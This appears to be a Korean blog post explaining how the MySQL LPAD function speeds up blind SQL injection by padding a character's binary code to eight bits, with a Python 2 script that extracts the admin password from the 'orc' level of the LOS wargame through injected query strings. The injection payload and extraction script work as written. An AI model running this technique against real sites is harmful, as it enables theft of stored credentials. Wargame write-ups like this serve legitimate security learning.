LPAD 함수는 문자열이 일정 길이(byte)가 될 때까지 왼쪽에 특정 문자를 덧붙인다.

예시
select lpad('hi',5,'!'); => !!!hi


blind sql injection을 할때 substr(pw,1,1)='a',substr(pw,1,1)='b' 이런 식으로 하게 된다면 한글자당
최대 26+10+a (영어,숫자,그 외)번씩 해야된다.

substr(bin(ord(substr(pw,1,1))),1,1)='0',substr(bin(ord(substr(pw,1,1))),1,1)='1' 이런식으로 하면
최대 한글자당 255바이트 > 00000000 를 0과 1로 비교해야되기 때문에 16번을 해야된다
예시
bin(ord(substr('a',1,1))) 

>>> ord('a')
97

>>> bin(97)
'0b1100001'

1100001 이렇게 나오게 되는데 몇자리인지 알 수 없기때문에 0과 1을 비교해서 끝났는지 확인해야한다.

여기에 lpad를 쓰게 된다면

항상 8자리로 나오게 된다
그래서  lpad(
substr(bin(ord(substr(pw,1,1))),1,1),8,'0')='0' 이렇게 비교하는 것을 8번만 하면 된다.


파이썬으로 los의 orc문제 공격 소스를 짜보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
 
 
key=""
site=""
q=0
w=1
header={'Cookie':'PHPSESSID=r61vovdv575f76k81pgh6oj301'}
for j in range(1,10):
        for i in reversed(range(1,9)):
                site="http://leaveret.kr/los/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
                site+="%27or%20id=%27admin%27and%20if("
                site+="substr(lpad(bin(ord(substr(pw,"+str(j)+",1))),8,0),"+str(i)+",1)='1'"
                site+=",1,0)%23"
                print site
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello admin" in r.text:
                  q+=w
                w=w*2
        key+=chr(q)
        print "\nkey"+key+"\n"
        q=0
        w=1
                
print "\n\n\nF\nKey is :"+key+" \n\n\n"
cs

http://unknown84.tistory.com/7
앞서 만들었던 blind sql injection에서는 43*9 (91-48 * 10-1)번 했던것을
lpad를 사용하면 8*9만에 할 수 있다.

+ 앞에서는 '=' 을 이용해서 비교했기 때문에 대소문자 구분이 안됬지만 lpad를 사용해서 하면 대소문자 구분도 된다.

'기타' 카테고리의 다른 글

windows 10 bash ssh  (0) 2016.12.28
X64 asm argv  (0) 2016.12.26
geocoding excel (python) web  (0) 2016.02.04
라즈베리파이 부팅시 자동으로 dns설정 , 공유기 설정  (0) 2016.01.21
asm  (0) 2015.10.11

+ Recent posts